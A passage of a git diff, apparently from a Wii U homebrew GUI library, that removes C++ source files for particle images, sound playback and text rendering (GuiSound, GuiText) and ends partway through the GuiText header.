/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef _GUI_PARTICLE_IMAGE_H_
|
||||
#define _GUI_PARTICLE_IMAGE_H_
|
||||
|
||||
#include "GuiImage.h"
|
||||
|
||||
class GuiParticleImage : public GuiImage, public sigslot::has_slots<>
|
||||
{
|
||||
public:
|
||||
GuiParticleImage(int w, int h, u32 particleCount);
|
||||
virtual ~GuiParticleImage();
|
||||
|
||||
void draw(CVideo *pVideo);
|
||||
private:
|
||||
f32 *posVertexs;
|
||||
u8 *colorVertexs;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
glm::vec3 position;
|
||||
glm::vec4 colors;
|
||||
f32 radius;
|
||||
f32 speed;
|
||||
f32 direction;
|
||||
} Particle;
|
||||
|
||||
std::vector<Particle> particles;
|
||||
};
|
||||
|
||||
#endif // _GUI_ICON_GRID_H_
|
@ -1,192 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiSound.h"
|
||||
#include "sounds/SoundHandler.hpp"
|
||||
|
||||
GuiSound::GuiSound(const char * filepath)
|
||||
{
|
||||
voice = -1;
|
||||
Load(filepath);
|
||||
}
|
||||
|
||||
GuiSound::GuiSound(const u8 * snd, s32 length)
|
||||
{
|
||||
voice = -1;
|
||||
Load(snd, length);
|
||||
}
|
||||
|
||||
GuiSound::~GuiSound()
|
||||
{
|
||||
if(voice >= 0)
|
||||
{
|
||||
SoundHandler::instance()->RemoveDecoder(voice);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool GuiSound::Load(const char * filepath)
|
||||
{
|
||||
if(voice >= 0)
|
||||
{
|
||||
SoundHandler::instance()->RemoveDecoder(voice);
|
||||
voice = -1;
|
||||
}
|
||||
|
||||
//! find next free decoder
|
||||
for(int i = 0; i < MAX_DECODERS; i++)
|
||||
{
|
||||
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);
|
||||
if(decoder == NULL)
|
||||
{
|
||||
SoundHandler::instance()->AddDecoder(i, filepath);
|
||||
decoder = SoundHandler::instance()->getDecoder(i);
|
||||
if(decoder)
|
||||
{
|
||||
voice = i;
|
||||
SoundHandler::instance()->ThreadSignal();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(voice < 0)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool GuiSound::Load(const u8 * snd, s32 len)
|
||||
{
|
||||
if(voice >= 0)
|
||||
{
|
||||
SoundHandler::instance()->RemoveDecoder(voice);
|
||||
voice = -1;
|
||||
}
|
||||
|
||||
if(!snd)
|
||||
return false;
|
||||
|
||||
//! find next free decoder
|
||||
for(int i = 0; i < MAX_DECODERS; i++)
|
||||
{
|
||||
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);
|
||||
if(decoder == NULL)
|
||||
{
|
||||
SoundHandler::instance()->AddDecoder(i, snd, len);
|
||||
decoder = SoundHandler::instance()->getDecoder(i);
|
||||
if(decoder)
|
||||
{
|
||||
voice = i;
|
||||
SoundHandler::instance()->ThreadSignal();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(voice < 0)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void GuiSound::Play()
|
||||
{
|
||||
Stop();
|
||||
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
v->setState(Voice::STATE_START);
|
||||
|
||||
|
||||
}
|
||||
|
||||
void GuiSound::Stop()
|
||||
{
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
{
|
||||
if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED))
|
||||
v->setState(Voice::STATE_STOP);
|
||||
|
||||
while(v->getState() != Voice::STATE_STOPPED)
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);
|
||||
if(decoder)
|
||||
{
|
||||
decoder->Lock();
|
||||
decoder->Rewind();
|
||||
decoder->ClearBuffer();
|
||||
SoundHandler::instance()->ThreadSignal();
|
||||
decoder->Unlock();
|
||||
}
|
||||
}
|
||||
|
||||
void GuiSound::Pause()
|
||||
{
|
||||
if(!IsPlaying())
|
||||
return;
|
||||
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
v->setState(Voice::STATE_STOP);
|
||||
}
|
||||
|
||||
void GuiSound::Resume()
|
||||
{
|
||||
if(IsPlaying())
|
||||
return;
|
||||
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
v->setState(Voice::STATE_START);
|
||||
}
|
||||
|
||||
bool GuiSound::IsPlaying()
|
||||
{
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
return v->getState() == Voice::STATE_PLAYING;
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
void GuiSound::SetVolume(u32 vol)
|
||||
{
|
||||
if(vol > 100)
|
||||
vol = 100;
|
||||
|
||||
u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16;
|
||||
|
||||
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||
if(v)
|
||||
v->setVolume(volumeConv);
|
||||
}
|
||||
|
||||
void GuiSound::SetLoop(bool l)
|
||||
{
|
||||
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);
|
||||
if(decoder)
|
||||
decoder->SetLoop(l);
|
||||
}
|
||||
|
||||
void GuiSound::Rewind()
|
||||
{
|
||||
Stop();
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_SOUND_H_
|
||||
#define GUI_SOUND_H_
|
||||
|
||||
#include "common/types.h"
|
||||
#include "system/AsyncDeleter.h"
|
||||
|
||||
//!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc
|
||||
class GuiSound : public AsyncDeleter::Element
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
//!\param sound Pointer to the sound data
|
||||
//!\param filesize Length of sound data
|
||||
GuiSound(const char * filepath);
|
||||
GuiSound(const u8 * sound, s32 length);
|
||||
//!Destructor
|
||||
virtual ~GuiSound();
|
||||
//!Load a file and replace the old one
|
||||
bool Load(const char * filepath);
|
||||
//!Load a file and replace the old one
|
||||
bool Load(const u8 * snd, s32 len);
|
||||
//!Start sound playback
|
||||
void Play();
|
||||
//!Stop sound playback
|
||||
void Stop();
|
||||
//!Pause sound playback
|
||||
void Pause();
|
||||
//!Resume sound playback
|
||||
void Resume();
|
||||
//!Checks if the sound is currently playing
|
||||
//!\return true if sound is playing, false otherwise
|
||||
bool IsPlaying();
|
||||
//!Rewind the music
|
||||
void Rewind();
|
||||
//!Set sound volume
|
||||
//!\param v Sound volume (0-100)
|
||||
void SetVolume(u32 v);
|
||||
//!\param l Loop (true to loop)
|
||||
void SetLoop(bool l);
|
||||
protected:
|
||||
s32 voice; //!< Currently assigned ASND voice channel
|
||||
};
|
||||
|
||||
#endif
|
@ -1,615 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "video/CVideo.h"
|
||||
#include "FreeTypeGX.h"
|
||||
#include "GuiText.h"
|
||||
|
||||
FreeTypeGX * GuiText::presentFont = NULL;
|
||||
int GuiText::presetSize = 28;
|
||||
int GuiText::presetInternalRenderingScale = 2.0f; //Lets render the font at the doubled size. This make it even smoother!
|
||||
int GuiText::presetMaxWidth = 0xFFFF;
|
||||
int GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||
GX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f };
|
||||
|
||||
#define TEXT_SCROLL_DELAY 6
|
||||
#define TEXT_SCROLL_INITIAL_DELAY 10
|
||||
#define MAX_LINES_TO_DRAW 10
|
||||
|
||||
/**
|
||||
* Constructor for the GuiText class.
|
||||
*/
|
||||
|
||||
GuiText::GuiText()
|
||||
{
|
||||
text = NULL;
|
||||
size = presetSize;
|
||||
currentSize = size;
|
||||
color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);
|
||||
alpha = presetColor.a;
|
||||
alignment = presetAlignment;
|
||||
maxWidth = presetMaxWidth;
|
||||
wrapMode = 0;
|
||||
textWidth = 0;
|
||||
font = presentFont;
|
||||
linestodraw = MAX_LINES_TO_DRAW;
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||
defaultBlur = 4.0f;
|
||||
blurGlowIntensity = 0.0f;
|
||||
blurAlpha = 0.0f;
|
||||
blurGlowColor = glm::vec4(0.0f);
|
||||
internalRenderingScale = presetInternalRenderingScale;
|
||||
}
|
||||
|
||||
GuiText::GuiText(const char * t, int s, const glm::vec4 & c)
|
||||
{
|
||||
text = NULL;
|
||||
size = s;
|
||||
currentSize = size;
|
||||
color = c;
|
||||
alpha = c[3];
|
||||
alignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||
maxWidth = presetMaxWidth;
|
||||
wrapMode = 0;
|
||||
textWidth = 0;
|
||||
font = presentFont;
|
||||
linestodraw = MAX_LINES_TO_DRAW;
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||
defaultBlur = 4.0f;
|
||||
blurGlowIntensity = 0.0f;
|
||||
blurAlpha = 0.0f;
|
||||
blurGlowColor = glm::vec4(0.0f);
|
||||
internalRenderingScale = presetInternalRenderingScale;
|
||||
|
||||
if(t)
|
||||
{
|
||||
text = FreeTypeGX::charToWideChar(t);
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
}
|
||||
}
|
||||
|
||||
GuiText::GuiText(const wchar_t * t, int s, const glm::vec4 & c)
|
||||
{
|
||||
text = NULL;
|
||||
size = s;
|
||||
currentSize = size;
|
||||
color = c;
|
||||
alpha = c[3];
|
||||
alignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||
maxWidth = presetMaxWidth;
|
||||
wrapMode = 0;
|
||||
textWidth = 0;
|
||||
font = presentFont;
|
||||
linestodraw = MAX_LINES_TO_DRAW;
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||
defaultBlur = 4.0f;
|
||||
blurGlowIntensity = 0.0f;
|
||||
blurAlpha = 0.0f;
|
||||
blurGlowColor = glm::vec4(0.0f);
|
||||
internalRenderingScale = presetInternalRenderingScale;
|
||||
|
||||
if(t)
|
||||
{
|
||||
text = new (std::nothrow) wchar_t[wcslen(t)+1];
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
wcscpy(text, t);
|
||||
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructor for the GuiText class, uses presets
|
||||
*/
|
||||
GuiText::GuiText(const char * t)
|
||||
{
|
||||
text = NULL;
|
||||
size = presetSize;
|
||||
currentSize = size;
|
||||
color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);
|
||||
alpha = presetColor.a;
|
||||
alignment = presetAlignment;
|
||||
maxWidth = presetMaxWidth;
|
||||
wrapMode = 0;
|
||||
textWidth = 0;
|
||||
font = presentFont;
|
||||
linestodraw = MAX_LINES_TO_DRAW;
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||
defaultBlur = 4.0f;
|
||||
blurGlowIntensity = 0.0f;
|
||||
blurAlpha = 0.0f;
|
||||
blurGlowColor = glm::vec4(0.0f);
|
||||
internalRenderingScale = presetInternalRenderingScale;
|
||||
|
||||
if(t)
|
||||
{
|
||||
text = FreeTypeGX::charToWideChar(t);
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Destructor for the GuiText class.
|
||||
*/
|
||||
GuiText::~GuiText()
|
||||
{
|
||||
if(text)
|
||||
delete [] text;
|
||||
text = NULL;
|
||||
|
||||
clearDynamicText();
|
||||
}
|
||||
|
||||
void GuiText::setText(const char * t)
|
||||
{
|
||||
if(text)
|
||||
delete [] text;
|
||||
text = NULL;
|
||||
|
||||
clearDynamicText();
|
||||
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
|
||||
if(t)
|
||||
{
|
||||
text = FreeTypeGX::charToWideChar(t);
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiText::setTextf(const char *format, ...)
|
||||
{
|
||||
if(!format)
|
||||
{
|
||||
setText((char *) NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
int max_len = strlen(format) + 8192;
|
||||
char *tmp = new char[max_len];
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
if((vsnprintf(tmp, max_len, format, va) >= 0) && tmp)
|
||||
{
|
||||
setText(tmp);
|
||||
}
|
||||
va_end(va);
|
||||
|
||||
if(tmp)
|
||||
delete [] tmp;
|
||||
}
|
||||
|
||||
|
||||
void GuiText::setText(const wchar_t * t)
|
||||
{
|
||||
if(text)
|
||||
delete [] text;
|
||||
text = NULL;
|
||||
|
||||
clearDynamicText();
|
||||
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
|
||||
if(t)
|
||||
{
|
||||
text = new (std::nothrow) wchar_t[wcslen(t)+1];
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
wcscpy(text, t);
|
||||
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiText::clearDynamicText()
|
||||
{
|
||||
for(u32 i = 0; i < textDyn.size(); i++)
|
||||
{
|
||||
if(textDyn[i])
|
||||
delete [] textDyn[i];
|
||||
}
|
||||
textDyn.clear();
|
||||
textDynWidth.clear();
|
||||
}
|
||||
|
||||
void GuiText::setPresets(int sz, const glm::vec4 & c, int w, int a)
|
||||
{
|
||||
presetSize = sz;
|
||||
presetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f };
|
||||
presetMaxWidth = w;
|
||||
presetAlignment = a;
|
||||
}
|
||||
|
||||
void GuiText::setPresetFont(FreeTypeGX *f)
|
||||
{
|
||||
presentFont = f;
|
||||
}
|
||||
|
||||
void GuiText::setFontSize(int s)
|
||||
{
|
||||
size = s;
|
||||
}
|
||||
|
||||
void GuiText::setMaxWidth(int width, int w)
|
||||
{
|
||||
maxWidth = width;
|
||||
wrapMode = w;
|
||||
|
||||
if(w == SCROLL_HORIZONTAL)
|
||||
{
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||
}
|
||||
|
||||
clearDynamicText();
|
||||
}
|
||||
|
||||
void GuiText::setColor(const glm::vec4 & c)
|
||||
{
|
||||
color = c;
|
||||
alpha = c[3];
|
||||
}
|
||||
|
||||
void GuiText::setBlurGlowColor(float blur, const glm::vec4 & c)
|
||||
{
|
||||
blurGlowColor = c;
|
||||
blurGlowIntensity = blur;
|
||||
blurAlpha = c[3];
|
||||
}
|
||||
|
||||
int GuiText::getTextWidth(int ind)
|
||||
{
|
||||
if(ind < 0 || ind >= (int) textDyn.size())
|
||||
return this->getTextWidth();
|
||||
|
||||
return font->getWidth(textDyn[ind], currentSize);
|
||||
}
|
||||
|
||||
const wchar_t * GuiText::getDynText(int ind)
|
||||
{
|
||||
if(ind < 0 || ind >= (int) textDyn.size())
|
||||
return text;
|
||||
|
||||
return textDyn[ind];
|
||||
}
|
||||
|
||||
/**
|
||||
* Change font
|
||||
*/
|
||||
bool GuiText::setFont(FreeTypeGX *f)
|
||||
{
|
||||
if(!f)
|
||||
return false;
|
||||
|
||||
font = f;
|
||||
textWidth = font->getWidth(text, currentSize);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string GuiText::toUTF8(void) const
|
||||
{
|
||||
if(!text)
|
||||
return std::string();
|
||||
|
||||
char *pUtf8 = FreeTypeGX::wideCharToUTF8(text);
|
||||
if(!pUtf8)
|
||||
return std::string();
|
||||
|
||||
std::string strOutput(pUtf8);
|
||||
|
||||
delete [] pUtf8;
|
||||
|
||||
return strOutput;
|
||||
}
|
||||
|
||||
void GuiText::makeDottedText()
|
||||
{
|
||||
int pos = textDyn.size();
|
||||
textDyn.resize(pos + 1);
|
||||
|
||||
int i = 0, currentWidth = 0;
|
||||
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||
if(!textDyn[pos]) {
|
||||
textDyn.resize(pos);
|
||||
return;
|
||||
}
|
||||
|
||||
while (text[i])
|
||||
{
|
||||
currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);
|
||||
if (currentWidth >= maxWidth && i > 2)
|
||||
{
|
||||
textDyn[pos][i - 2] = '.';
|
||||
textDyn[pos][i - 1] = '.';
|
||||
textDyn[pos][i] = '.';
|
||||
i++;
|
||||
break;
|
||||
}
|
||||
|
||||
textDyn[pos][i] = text[i];
|
||||
|
||||
i++;
|
||||
}
|
||||
textDyn[pos][i] = 0;
|
||||
}
|
||||
|
||||
void GuiText::scrollText(u32 frameCount)
|
||||
{
|
||||
if (textDyn.size() == 0)
|
||||
{
|
||||
int pos = textDyn.size();
|
||||
int i = 0, currentWidth = 0;
|
||||
textDyn.resize(pos + 1);
|
||||
|
||||
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||
if(!textDyn[pos]) {
|
||||
textDyn.resize(pos);
|
||||
return;
|
||||
}
|
||||
|
||||
while (text[i] && currentWidth < maxWidth)
|
||||
{
|
||||
textDyn[pos][i] = text[i];
|
||||
|
||||
currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);
|
||||
|
||||
++i;
|
||||
}
|
||||
textDyn[pos][i] = 0;
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (frameCount % textScrollDelay != 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (textScrollInitialDelay)
|
||||
{
|
||||
--textScrollInitialDelay;
|
||||
return;
|
||||
}
|
||||
|
||||
int stringlen = wcslen(text);
|
||||
|
||||
++textScrollPos;
|
||||
if (textScrollPos > stringlen)
|
||||
{
|
||||
textScrollPos = 0;
|
||||
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||
}
|
||||
|
||||
int ch = textScrollPos;
|
||||
int pos = textDyn.size() - 1;
|
||||
|
||||
if (!textDyn[pos])
|
||||
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||
|
||||
if(!textDyn[pos]) {
|
||||
textDyn.resize(pos);
|
||||
return;
|
||||
}
|
||||
|
||||
int i = 0, currentWidth = 0;
|
||||
|
||||
while (currentWidth < maxWidth)
|
||||
{
|
||||
if (ch > stringlen - 1)
|
||||
{
|
||||
textDyn[pos][i++] = ' ';
|
||||
currentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0);
|
||||
textDyn[pos][i++] = ' ';
|
||||
currentWidth += font->getCharWidth(L' ', currentSize, L' ');
|
||||
textDyn[pos][i++] = ' ';
|
||||
currentWidth += font->getCharWidth(L' ', currentSize, L' ');
|
||||
ch = 0;
|
||||
|
||||
if(currentWidth >= maxWidth)
|
||||
break;
|
||||
}
|
||||
|
||||
textDyn[pos][i] = text[ch];
|
||||
currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0);
|
||||
++ch;
|
||||
++i;
|
||||
}
|
||||
textDyn[pos][i] = 0;
|
||||
}
|
||||
|
||||
void GuiText::wrapText()
|
||||
{
|
||||
if (textDyn.size() > 0) return;
|
||||
|
||||
int i = 0;
|
||||
int ch = 0;
|
||||
int linenum = 0;
|
||||
int lastSpace = -1;
|
||||
int lastSpaceIndex = -1;
|
||||
int currentWidth = 0;
|
||||
|
||||
while (text[ch] && linenum < linestodraw)
|
||||
{
|
||||
if (linenum >= (int) textDyn.size())
|
||||
{
|
||||
textDyn.resize(linenum + 1);
|
||||
textDyn[linenum] = new (std::nothrow) wchar_t[maxWidth];
|
||||
if(!textDyn[linenum]) {
|
||||
textDyn.resize(linenum);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
textDyn[linenum][i] = text[ch];
|
||||
textDyn[linenum][i + 1] = 0;
|
||||
|
||||
currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000);
|
||||
|
||||
if (currentWidth >= maxWidth || (text[ch] == '\n'))
|
||||
{
|
||||
if(text[ch] == '\n')
|
||||
{
|
||||
lastSpace = -1;
|
||||
lastSpaceIndex = -1;
|
||||
}
|
||||
else if (lastSpace >= 0)
|
||||
{
|
||||
textDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after
|
||||
ch = lastSpace; // go backwards to the last space
|
||||
lastSpace = -1; // we have used this space
|
||||
lastSpaceIndex = -1;
|
||||
}
|
||||
|
||||
if (linenum + 1 == linestodraw && text[ch + 1] != 0x0000)
|
||||
{
|
||||
if(i < 2)
|
||||
i = 2;
|
||||
|
||||
textDyn[linenum][i - 2] = '.';
|
||||
textDyn[linenum][i - 1] = '.';
|
||||
textDyn[linenum][i] = '.';
|
||||
textDyn[linenum][i + 1] = 0;
|
||||
}
|
||||
|
||||
currentWidth = 0;
|
||||
++linenum;
|
||||
i = -1;
|
||||
}
|
||||
if (text[ch] == ' ' && i >= 0)
|
||||
{
|
||||
lastSpace = ch;
|
||||
lastSpaceIndex = i;
|
||||
}
|
||||
++ch;
|
||||
++i;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Draw the text on screen
|
||||
*/
|
||||
void GuiText::draw(CVideo *pVideo)
|
||||
{
|
||||
if(!text)
|
||||
return;
|
||||
|
||||
if(!isVisible())
|
||||
return;
|
||||
|
||||
color[3] = getAlpha();
|
||||
blurGlowColor[3] = blurAlpha * getAlpha();
|
||||
|
||||
float finalRenderingScale = 2.0f * internalRenderingScale;
|
||||
|
||||
int newSize = size * getScale() * finalRenderingScale;
|
||||
int normal_size = size * getScale();
|
||||
|
||||
if(newSize != currentSize)
|
||||
{
|
||||
currentSize = normal_size;
|
||||
|
||||
if(text)
|
||||
textWidth = font->getWidth(text, normal_size);
|
||||
}
|
||||
|
||||
f32 x_pos = getCenterX() * finalRenderingScale;
|
||||
f32 y_pos = getCenterY() * finalRenderingScale;
|
||||
|
||||
if(maxWidth > 0 && maxWidth <= textWidth)
|
||||
{
|
||||
if(wrapMode == DOTTED) // text dotted
|
||||
{
|
||||
if(textDyn.size() == 0)
|
||||
makeDottedText();
|
||||
|
||||
if(textDynWidth.size() != textDyn.size())
|
||||
{
|
||||
textDynWidth.resize(textDyn.size());
|
||||
|
||||
for(u32 i = 0; i < textDynWidth.size(); i++)
|
||||
textDynWidth[i] = font->getWidth(textDyn[i], newSize);
|
||||
}
|
||||
|
||||
|
||||
if(textDyn.size() > 0)
|
||||
font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);
|
||||
}
|
||||
|
||||
else if(wrapMode == SCROLL_HORIZONTAL)
|
||||
{
|
||||
scrollText(pVideo->getFrameCount());
|
||||
|
||||
if(textDyn.size() > 0)
|
||||
font->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, maxWidth*finalRenderingScale, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);
|
||||
|
||||
}
|
||||
else if(wrapMode == WRAP)
|
||||
{
|
||||
int lineheight = newSize + 6;
|
||||
int yoffset = 0;
|
||||
int voffset = 0;
|
||||
|
||||
if(textDyn.size() == 0)
|
||||
wrapText();
|
||||
|
||||
if(textDynWidth.size() != textDyn.size())
|
||||
{
|
||||
textDynWidth.resize(textDyn.size());
|
||||
|
||||
for(u32 i = 0; i < textDynWidth.size(); i++)
|
||||
textDynWidth[i] = font->getWidth(textDyn[i], newSize);
|
||||
}
|
||||
|
||||
if(alignment & ALIGN_MIDDLE)
|
||||
voffset = (lineheight * (textDyn.size()-1)) >> 1;
|
||||
|
||||
for(u32 i = 0; i < textDyn.size(); i++)
|
||||
{
|
||||
font->drawText(pVideo, x_pos, y_pos + voffset + yoffset, getDepth(), textDyn[i], newSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);
|
||||
yoffset -= lineheight;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint16_t newtextWidth = font->getWidth(text, newSize);
|
||||
font->drawText(pVideo, x_pos, y_pos, getDepth(), text, newSize, color, alignment, newtextWidth, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);
|
||||
}
|
||||
}
|
@ -1,142 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_TEXT_H_
|
||||
#define GUI_TEXT_H_
|
||||
|
||||
#include "common/gx2_ext.h"
|
||||
#include "GuiElement.h"
|
||||
//!Forward declaration
|
||||
class FreeTypeGX;
|
||||
|
||||
//!Display, manage, and manipulate text in the GUI
|
||||
class GuiText : public GuiElement
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
GuiText();
|
||||
//!\param t Text
|
||||
//!\param s Font size
|
||||
//!\param c Font color
|
||||
GuiText(const char * t, int s, const glm::vec4 & c);
|
||||
//!\overload
|
||||
//!\param t Text
|
||||
//!\param s Font size
|
||||
//!\param c Font color
|
||||
GuiText(const wchar_t * t, int s, const glm::vec4 & c);
|
||||
//!\overload
|
||||
//!\Assumes SetPresets() has been called to setup preferred text attributes
|
||||
//!\param t Text
|
||||
GuiText(const char * t);
|
||||
//!Destructor
|
||||
virtual ~GuiText();
|
||||
//!Sets the text of the GuiText element
|
||||
//!\param t Text
|
||||
virtual void setText(const char * t);
|
||||
virtual void setText(const wchar_t * t);
